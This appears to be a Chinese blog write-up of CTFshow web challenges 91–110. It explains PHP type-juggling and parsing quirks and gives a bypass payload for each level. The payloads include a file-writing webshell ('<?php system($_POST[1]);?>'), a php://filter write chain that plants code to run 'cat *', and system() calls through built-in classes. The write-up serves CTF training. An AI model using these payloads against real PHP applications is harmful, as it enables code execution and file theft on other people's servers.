当前位置: 首页 > news >正文

《CTFshow-Web入门》10. Web 91~110

Web 入门

  • 索引
  • web91
    • 题解
    • 总结
  • web92
    • 题解
    • 总结
  • web93
    • 题解
  • web94
    • 题解
  • web95
    • 题解
  • web96
    • 题解
  • web97
    • 题解
  • web98
    • 题解
  • web99
    • 题解
    • 总结
  • web100
    • 题解
  • web101
    • 题解
  • web102
    • 题解
  • web103
    • 题解
  • web104
    • 题解
  • web105
    • 题解
    • 总结
  • web106
    • 题解
  • web107
    • 题解
  • web108
    • 题解
  • web109
    • 题解
  • web110
    • 题解


ctf - web入门

索引

  • web91:PHP 特性之 preg_match(),换行解析漏洞。
  • web92:PHP 特性之 intval()===== 的区别。
  • web93:PHP 特性之 intval()
  • web94:PHP 特性之 intval()
  • web95:PHP 特性之 intval()
  • web96:PHP 特性之 highlight_file()、字符串匹配。
  • web97:PHP 特性之 md5()
  • web98:PHP 三元运算,GET 与 POST 传参。
  • web99:PHP 特性之 in_array()
  • web100:PHP 特性之赋值运算【=】优先级。
  • web101:PHP 特性之赋值运算【=】优先级,ReflectionClass($class) 建立反射类。
  • web102:PHP 特性之赋值运算【=】优先级,is_numeric() 特性,call_user_func()hex2bin() 利用,PHP 伪协议。
  • web103:与 web102 没什么区别。
  • web104:PHP 特性之 sha1(),弱等于 ==
  • web105:PHP 特性之变量覆盖。
  • web106:PHP 特性之 sha1(),弱等于 ==
  • web107:PHP 特性之 sha1(),弱等于 ==parse_str() 利用。
  • web108:PHP 特性之 ereg() 截断漏洞。
  • web109:PHP 特性之 __toString() 与类触发。
  • web110:FilesystemIterator 类,getcwd() 利用

web91

在这里插入图片描述

题解

^ 和 $ 这种正则匹配,只匹配一行。但是正则匹配 /m 可以执行多行匹配。
所以第一层条件是多行匹配,第二层条件是单行匹配,这样就可以用换行符 %0a 绕过。

题解

URl + ?cmd=abc%0aphp

总结

正则表达式:

在这里插入图片描述

参考文章:换行解析漏洞(CVE-2017-15715)

web92

在这里插入图片描述

题解

这一题乍一看和 web90 很像。

但这里比较是两个等号(弱匹配比较),而 web90 是三个等号。

所以这题不能用除了 e 的字母绕过了。

php有个特殊的字母:e,可以表示科学计数法。
但是当intval()读取到e的时候就会停止。

法一

与 web90 一样,使用非十进制数传递:

url + ?num=010574

法二

url + ?num=4476e123

总结

php 中 ===== 的区别

两个等号是先把等号两边的变量转化成相同的类型,如果转换类型后的结果是相等的,就认为相等。

三个等号是先判断两边变量的数据类型,如果数据类型相同,再去判断两边的值,如果值相等,那么为真。

web93

在这里插入图片描述

题解

这题直接不能使用字母了。

根据 web90 的经验,直接进制转换(详见 web90)。

url + ?num=010574

web94

在这里插入图片描述

题解

  • strpos()
    查找字符串首次出现的位置。字符串位置是从0开始。

相比上一题不能用进制转换。

但是 intval() 函数可以把浮点数类型变为 int 类型。

url + ?num=4476.0

web95

在这里插入图片描述

题解

本题过滤了小数点,字符限制不能使用十六进制和 e。
但是可以使用 8 进制绕过。
可以通过加号或者空格绕过限制条件。

url + ?num=+010574

web96

在这里插入图片描述

题解

字符串匹配,加上当前目录 ./ 绕过。

url + ?u=./flag.php

web97

在这里插入图片描述

题解

根据题目,PHP md5() 函数如果传入数组,返回值将是 NULL,所以可以用数组绕过。

:post 传递数据。

a[]=1&b[]=2

web98

在这里插入图片描述

题解

题目分析:

$_GET?$_GET=&$_POST:'flag';
/*
三元运算符。
$_GET 变量是一个数组,内容是 GET 方法发送的变量名称和值,类似于字典。
如果 $_GET 变量不为空,则 $_GET 变量和 $_POST 变量指向同一个地址,即$_POST 变量内容会影响 $_GET 变量的内容。
如果 $_GET 变量为空,整个三元表达式的结果为 ’flag’。
*/$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
/*
如果 flag 变量值为 ’flag’,则 $_GET 变量和 $_COOKIE 变量指向同一个地址;
否则返回flag。
*/$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
/*
如果flag变量值为’flag’,则 $_GET 变量和 $_SERVER 变量指向同一个地址;
否则返回flag。
*/highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
/*
如果 HTTP_FLAG 变量值为 ’flag’,输出 $flag,否则输出当前文件。
*/

所以目标就是 get 传参 HTTP_FLAG=flag。

get 传参就要执行第一个三元运算,所以 post 也需要传递 HTTP_FLAG=flag。

中间两个条件会返回结果 ’flag’,没有影响。

通过 get 请求与 post 请求同时传递相同参数

get 传参:

url + ?HTTP_FLAG=flag

post 传参:

HTTP_FLAG=flag

web99

在这里插入图片描述

题解

in_array() 函数特性:第三个参数没有设置的时候,为弱类型比较。例如比较 1.php 时会自动转换为 1 再比较。

所以这题通过 GET 传递值来命名 PHP 文件,再通过 POST 传递 webshell 写入文件。之后访问此 webshell 即可。

get 传参:

url + ?n=30.php

post 传参:

content=<?php system($_POST[1]);?>

在这里插入图片描述

访问 webshell 30.php,并传递命令:

在这里插入图片描述

总结

php 函数:

  • array_push():向尾部插入元素。
  • in_array():检查数组中是否存在指定值。
  • file_put_contents():将字符串写入文件。

in_array() 函数特性:第三个参数没有设置的时候,为弱类型比较。

web100

在这里插入图片描述

题解

$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);if($v0){ 

特性:赋值【=】的优先级高于逻辑运算。所以只要让 is_numeric($v1) 返回 true 即可满足 if 判断。

if(!preg_match("/\;/", $v2)){  // v2 不能含分号if(preg_match("/\;/", $v3)){  // v3 要含分号eval("$v2('ctfshow')$v3");  // 可利用注释} 

再根据以上代码分析,得出 payload:

url + ?v1=1&v2=var_dump($ctfshow)/*&v3=*/;

web101

在这里插入图片描述

题解

与 web100 类似,但过滤了很多字符,不能使用 web100 的方法了。

由于涉及了类,可以利用 ReflectionClass 建立反射类。

new ReflectionClass($class) 可以获得类的反射对象(包含元数据信息)。

元数据对象(包含class的所有属性/方法的元数据信息)。

url + ?v1=1&v2=echo new Reflectionclass&v3=;

在这里插入图片描述

除此以外 flag 部分字符经过了 ASCII 编码,还少了一位字符,不过爆破即可。

web102

在这里插入图片描述

题解

这题饶了几个圈。根据答案逆推理顺了思路。

先看题解。

将下列中括号中的代码 base64 编码,注意末尾有一个空格。
[<?=`cat *`; ]编码后的数据:
PD89YGNhdCAqYDsg再将 base64 编码后的数据进行 16 进制 ASCII 编码。
编码后的数据:
5044383959474e686443417159447367在编码后的数据前面随便加上两个占位数字,这里加 11。
115044383959474e686443417159447367同时传递以下数据:
v1=hex2bin
v2=115044383959474e686443417159447367
v3=php://filter/write=convert.base64-decode/resource=1.phpv1 以 POST 方式传输,v2,v3使用 GET。

题解

GET 传递:

url + ?v2=115044383959474e686443417159447367&v3=php://filter/write=convert.base64-decode/resource=1.php

POST 传递:

v1=hex2bin

在这里插入图片描述

之后访问 1.php 查看源码即可获取 flag。

在这里插入图片描述

下面分析一下:

  • call_user_func():
    用于调用方法或者变量,第一个参数是被调用的函数,第二个是调用的函数的参数
  • file_put_contents():
    写入内容到文件中,第一个参数是文件名,第二个参数是内容
  • hex2bin():
    把十六进制值的字符串转换为 ASCII 字符(十六进制转二进制)。
所以总的思路就是将 <?=`cat *`; 代码传递并通过伪协议写入一个 php 文件,之后访问此文件就可以执行代码读取当前目录下所有文件的内容。

为什么选择以上代码写入文件,参考下列资料:

《ctfshow学习记录-web入门(php特性99-108)》
https://blog.csdn.net/m0_48780534/article/details/125445026

web103

在这里插入图片描述

题解

与 web102 没有太大区别,沿用 web102 的解法。

正则表达式是用来检查是否存在 “php” 这个字符串的子串(不区分大小写)。

题解

GET 传递:

url + ?v2=115044383959474e686443417159447367&v3=php://filter/write=convert.base64-decode/resource=1.php

POST 传递:

v1=hex2bin

之后访问 1.php 查看源码即可获取 flag。

分析见 web102。

web104

在这里插入图片描述

题解

sha1():计算字符串的 sha1 散列值。

这题没什么好说的,简单的传递一样的值即可。

在这里插入图片描述

补充,与 web97 类似,可用数组绕过。

除此以外,值的判断是使用 ==(弱等于,详见 web92),所以找加密后 0e 开头的两个值也可以。

aaK1STfY -> 0e76658526655756207688271159624026011393aaO8zKZF -> 0e89257456677279068558073954252716165668

web105

在这里插入图片描述

题解

这一题涉及变量覆盖。

示例:

$a='b'; 
$c='d';
$b=1; 
$d=0;
echo $a;  # 输出 b
echo $c;  # 输出 d
echo $$a; # 输出 1,即 $$a -> $b -> 1
echo $$c; # 输出 0

根据代码,尝试使用变量覆盖让 $suces$error 都等于 $flag。这样无论如何根据代码的输出都能得知 flag。

GET 传参:

url + ?suces=flag

POST 传参:

error=suces

在这里插入图片描述

总结

变量覆盖(可变变量),用于通过变量的值来动态命名变量并访问其值。

以 PHP 为例,$$a 是一种特殊的变量语法,用来实现变量覆盖:

$foo = 'bar';
$bar = 'Hello, World!';// 使用 $$foo 来访问 $bar 的值
// 因为 $foo 的值是 'bar' ,所以 $$foo 实际上等同于 $bar 
// 最终输出 'Hello, World!' 。
echo $$foo;

web106

在这里插入图片描述

题解

比 web104 多判断了 v1 不能等于 v2。

方法一:使用数组。

GET 传参:

url + ?v2[]=2

POST 传参:

v1[]=1

在这里插入图片描述

方法二:使用加密后 0e 开头的两个值。

aaK1STfY -> 0e76658526655756207688271159624026011393
aaO8zKZF -> 0e89257456677279068558073954252716165668

在这里插入图片描述

web107

在这里插入图片描述

题解

parse_str(string,array):把查询字符串解析到变量中。

parse_str("a=1&b=2",$array);
print_r($array);
# 输出:Array([a]=>1 [b]=>2)

所以根据代码 v1 传递内容是 v1=flag=?,具体值根据 v3 的 md5 值定。再加上是弱等于,只要 md5 加密后 0e 开头即可。

GET:

url + ?v3=QNKCDZO

POST:

v1=flag=0

web108

在这里插入图片描述

题解

  • ereg():用于执行正则表达式匹配。
  • strrev():反转字符串。
  • ereg 函数存在 NULL 截断漏洞,可以绕过正则过滤,使用 %00 截断。

0x36d,转十进制是877。

url + ?c=a%00778

web109

在这里插入图片描述

题解

这道题用到魔术方法 __toString(),不少 php 的内置类里都包含有这个方法,如 ReflectionclassExceptionErrorCachingIterator

__toString():当一个对象被当作字符串对待的时候,会触发这个魔术方法,格式化输出这个对象所包含的数据。

所以 echo 使得 v1 类触发 __toString(),v2 传递的数据被输出。

对于 v2 后面的括号,只要变量后面紧跟着(),就会对这个变量作为函数进行调用。

1、

url + ?v1=CachingIterator&v2=system(ls)

2、

url + ?v1=CachingIterator&v2=system('cat fl36dg.txt')

查看源码获取 flag。

也可以换成其他类。

web110

在这里插入图片描述

题解

过滤了很多字符,不能再用 web109 的方法。

考察:

  • php 内置类,利用 FilesystemIterator 获取指定目录下的所有文件。
  • getcwd() 函数,获取当前工作目录,返回当前工作目录。

url + ?v1=FilesystemIterator&v2=getcwd

在这里插入图片描述

可以看到 flag 文件就在当前目录,直接访问获取 flag。


悔既往之失,亦要防将来之非。

——《菜根谭》(明)洪应明

相关文章:

《CTFshow-Web入门》10. Web 91~110

Web 入门 索引web91题解总结 web92题解总结 web93题解 web94题解 web95题解 web96题解 web97题解 web98题解 web99题解总结 web100题解 web101题解 web102题解 web103题解 web104题解 web105题解总结 web106题解 web107题解 web108题解 web109题解 web110题解 ctf - web入门 索…...

计组--总线

一、概念 总线是一组能为多个部件分时共享的公共信息传送线路。 共享是指总线上可以挂接多个部件&#xff0c;各个部件之间互相交换的信息都可以通过这组线路分时共享。 分时是指同一时刻只允许有一个部件向总线发送信息&#xff0c;如果系统中有多个部件&#xff0c;则它们…...

Git中的HEAD

Git中的HEAD HEAD^数字&#xff1a;表示当前提交的父提交&#xff0c;具体是第几个父提交通过数字指定&#xff0c;HEAD^1第一个父提交&#xff0c;该语法只 能用于合并(merge)的提交记录&#xff0c;因为一个通过合并产生的commit对象才有多个父提交。 HEAD~数字&#xff1…...

软件设计师_数据库系统_学习笔记

文章目录 3.1 数据库模式3.1.1 三级模式 两级映射3.1.2 数据库设计过程 3.2 ER模型3.3 关系代数与元组演算3.4 规范化理论3.5 并发控制3.6 数据库完整性约束3.7 分布式数据库3.8 数据仓库与数据挖掘 3.1 数据库模式 3.1.1 三级模式 两级映射 内模式直接与物理数据库相关联的 定…...

毛玻璃态计算器

效果展示 页面结构组成 从上述的效果可以看出&#xff0c;计算机的页面比较规整&#xff0c;适合grid布局。 CSS3 知识点 grid 布局 实现计算机布局 <div class"container"><form class"calculator" name"calc"><input type…...

常说的I2C协议是干啥的(电子硬件)

I2C&#xff08;Inter-Integrated circuit&#xff09;协议是电子传输信号中常用的一种协议。 它是一种两线式串行双向总线&#xff0c;用于连接微控制器和外部设备&#xff0c;也因为它所需的引脚数只需要两条&#xff08;CLK和DATA&#xff09;&#xff0c;硬件实现简单&…...

C/C++进程超详细详解【中部分】(系统性学习day07)

目录 前言 一、守护进程 1.概念 2.守护进程创建的原理&#xff08;如图清晰可见&#xff09; 3.守护进程的实现&#xff08;代码块&#xff09; 二、dup和dup2 1&#xff0c;复制文件描述符 2.文件描述符重定向 三、系统日志 1&#xff0c;打开日志 2&#xff0c;向日…...

S型速度曲线轨迹规划(约束条件为速度和位移)

S型速度曲线规划的基础知识可以查看下面这篇博客: 带平滑功能的斜坡函数(多段曲线控温纯S型曲线SCL源代码+完整算法分析)_RXXW_Dor的博客-CSDN博客PLC运动控制基础系列之梯形速度曲线,可以参看下面这篇博客:PLC运动控制基础系列之梯形速度曲线_RXXW_Dor的博客-CSDN博客运…...

从零手搓一个【消息队列】实现数据的硬盘管理和内存管理(线程安全)

文章目录 一、硬盘管理1, 创建 DiskDataCenter 类2, init() 初始化3, 封装交换机4, 封装队列5, 关于绑定6, 关于消息 二、内存管理1, 数据结构的设计2, 创建 MemoryDataCenter 类3, 关于交换机4, 关于队列5, 关于绑定6, 关于消息7, 恢复数据 三、小结 创建 Spring Boot 项目, S…...

自动驾驶中的感知模型:实现安全与智能驾驶的关键

自动驾驶中的感知模型&#xff1a;实现安全与智能驾驶的关键 文章目录 引言感知模型的作用感知模型的技术安全与挑战结论 2023星火培训【专项营】Apollo开发者社区布道师倾力打造&#xff0c;包含PnC、新感知等的全新专项课程上线了。理论与实践相结合&#xff0c;全新的PnC培训…...

【CVPR 2023】DSVT: Dynamic Sparse Voxel Transformer with Rotated Sets

文章目录 开场白效果意图 重点VoxelNet: End-to-End Learning for Point Cloud Based 3D Object DetectionX-Axis DSVT LayerY-Axis DSVT Layer Dynamic Sparse Window AttentionDynamic set partitionRotated set attention for intra-window feature propagation.Hybrid wind…...

MySQL超入门(1)__迅速上手掌握MySQL

# 1.选择语句 # 注意事项&#xff1a;MySQL不区分大小写&#xff0c;SELECT * 代表选择全部 // 测试一 USE sql_store; -- 使用 sql_store库 SELECT * FROM customers -- 查询customers表 WHERE customer_id 1 OR customer_id 4 -- 条件判断为customer_id 1或customer_id …...

四、浏览器渲染过程,DOM,CSSDOM,渲染,布局,绘制详细介绍

知识点&#xff1a; 1、为什么不能先执行 js文件&#xff1f;&#xff1f; 我们不能先执行JS文件&#xff0c;必须等到CSSOM构建完成了才能执行JS文件&#xff0c;因为前面已经说过渲染树是需要DOM和CSSOM构建完成了以后才能构建&#xff0c;而且JS是可以操控CSS样式的&#…...

2021-06-10 51单片机设计一个蜂鸣器报警电路每秒

缘由求助一下谢谢啦51单片机_嵌入式-CSDN问答设计一个蜂鸣器报警电路&#xff0c;按下K1&#xff0c;蜂鸣器响一声&#xff0c;按下K2&#xff0c;蜂鸣器响三声&#xff0c;按下K3,蜂鸣器长鸣。要求响声和间隔的时间均为1秒&#xff0c;长鸣不限时&#xff0c;但是此时应设置一…...

D‘Agostino-Pearson正态检验|偏度skewness和峰度kurtosis

DAgostino-Pearson检验&#xff08;也称为DAgostino和Pearson正态性检验&#xff09;是一种用于检验数据是否符合正态分布的统计检验方法。它基于数据的样本统计量&#xff0c;主要包括偏度&#xff08;skewness&#xff09;和峰度&#xff08;kurtosis&#xff09;&#xff0c…...

基于树莓派CM4制作img系统镜像批量制作TF卡

文章目录 前言1. 环境与工具2. 制作镜像3. 烧录镜像4. 总结 前言 树莓派烧录完系统做定制化配置比较费时间。在面对大批量的树莓派要配置&#xff0c;那时间成本是非常巨大的。第一次配置完可以说是摸着石头过河&#xff0c;但是会弄了以后再配置&#xff0c;都是一些重复性操…...

【中秋国庆不断更】OpenHarmony组件内状态变量使用:@State装饰器

State装饰的变量&#xff0c;或称为状态变量&#xff0c;一旦变量拥有了状态属性&#xff0c;就和自定义组件的渲染绑定起来。当状态改变时&#xff0c;UI会发生对应的渲染改变。 在状态变量相关装饰器中&#xff0c;State是最基础的&#xff0c;使变量拥有状态属性的装饰器&am…...

【Java 进阶篇】MySQL多表关系详解

MySQL是一种常用的关系型数据库管理系统&#xff0c;它允许我们创建多个表格&#xff0c;并通过各种方式将这些表格联系在一起。在实际的数据库设计和应用中&#xff0c;多表关系是非常常见的&#xff0c;它能够更好地组织和管理数据&#xff0c;实现数据的复杂查询和分析。本文…...

【开发篇】十、Spring缓存:手机验证码的生成与校验

文章目录 1、缓存2、用HashMap模拟自定义缓存3、SpringBoot提供缓存的使用4、手机验证码案例完善 1、缓存 缓存是一种介于数据永久存储介质与数据应用之间的数据临时存储介质使用缓存可以有效的减少低速数据读取过程的次数&#xff08;例如磁盘IO&#xff09;&#xff0c;提高…...

【Aurora 8B/10B IP(1)--初步了解】

Aurora 8B/10B IP(1)–初步了解 1 Aurora 8b/10b IP的基本状态: •通用数据通道吞吐量范围从480 Mb/s到84.48 Gb/s •支持多达16个连续粘合7GTX/GTH系列、UltraScale™ GTH或UltraScale+™ GTH收发器和4绑定GTP收发器 •Aurora 8B/10B协议规范v2.3顺从的 •资源成本低(请参…...

React Native 导航系统实战(React Navigation)

导航系统实战&#xff08;React Navigation&#xff09; React Navigation 是 React Native 应用中最常用的导航库之一&#xff0c;它提供了多种导航模式&#xff0c;如堆栈导航&#xff08;Stack Navigator&#xff09;、标签导航&#xff08;Tab Navigator&#xff09;和抽屉…...

以下是对华为 HarmonyOS NETX 5属性动画(ArkTS)文档的结构化整理,通过层级标题、表格和代码块提升可读性:

一、属性动画概述NETX 作用&#xff1a;实现组件通用属性的渐变过渡效果&#xff0c;提升用户体验。支持属性&#xff1a;width、height、backgroundColor、opacity、scale、rotate、translate等。注意事项&#xff1a; 布局类属性&#xff08;如宽高&#xff09;变化时&#…...

2021-03-15 iview一些问题

1.iview 在使用tree组件时&#xff0c;发现没有set类的方法&#xff0c;只有get&#xff0c;那么要改变tree值&#xff0c;只能遍历treeData&#xff0c;递归修改treeData的checked&#xff0c;发现无法更改&#xff0c;原因在于check模式下&#xff0c;子元素的勾选状态跟父节…...

vue3 定时器-定义全局方法 vue+ts

1.创建ts文件 路径&#xff1a;src/utils/timer.ts 完整代码&#xff1a; import { onUnmounted } from vuetype TimerCallback (...args: any[]) > voidexport function useGlobalTimer() {const timers: Map<number, NodeJS.Timeout> new Map()// 创建定时器con…...

从零实现STL哈希容器:unordered_map/unordered_set封装详解

本篇文章是对C学习的STL哈希容器自主实现部分的学习分享 希望也能为你带来些帮助~ 那咱们废话不多说&#xff0c;直接开始吧&#xff01; 一、源码结构分析 1. SGISTL30实现剖析 // hash_set核心结构 template <class Value, class HashFcn, ...> class hash_set {ty…...

SpringCloudGateway 自定义局部过滤器

场景&#xff1a; 将所有请求转化为同一路径请求&#xff08;方便穿网配置&#xff09;在请求头内标识原来路径&#xff0c;然后在将请求分发给不同服务 AllToOneGatewayFilterFactory import lombok.Getter; import lombok.Setter; import lombok.extern.slf4j.Slf4j; impor…...

【论文阅读28】-CNN-BiLSTM-Attention-(2024)

本文把滑坡位移序列拆开、筛优质因子&#xff0c;再用 CNN-BiLSTM-Attention 来动态预测每个子序列&#xff0c;最后重构出总位移&#xff0c;预测效果超越传统模型。 文章目录 1 引言2 方法2.1 位移时间序列加性模型2.2 变分模态分解 (VMD) 具体步骤2.3.1 样本熵&#xff08;S…...

【HarmonyOS 5 开发速记】如何获取用户信息(头像/昵称/手机号)

1.获取 authorizationCode&#xff1a; 2.利用 authorizationCode 获取 accessToken&#xff1a;文档中心 3.获取手机&#xff1a;文档中心 4.获取昵称头像&#xff1a;文档中心 首先创建 request 若要获取手机号&#xff0c;scope必填 phone&#xff0c;permissions 必填 …...

docker 部署发现spring.profiles.active 问题

报错&#xff1a; org.springframework.boot.context.config.InvalidConfigDataPropertyException: Property spring.profiles.active imported from location class path resource [application-test.yml] is invalid in a profile specific resource [origin: class path re…...

iOS性能调优实战:借助克魔(KeyMob)与常用工具深度洞察App瓶颈

在日常iOS开发过程中&#xff0c;性能问题往往是最令人头疼的一类Bug。尤其是在App上线前的压测阶段或是处理用户反馈的高发期&#xff0c;开发者往往需要面对卡顿、崩溃、能耗异常、日志混乱等一系列问题。这些问题表面上看似偶发&#xff0c;但背后往往隐藏着系统资源调度不当…...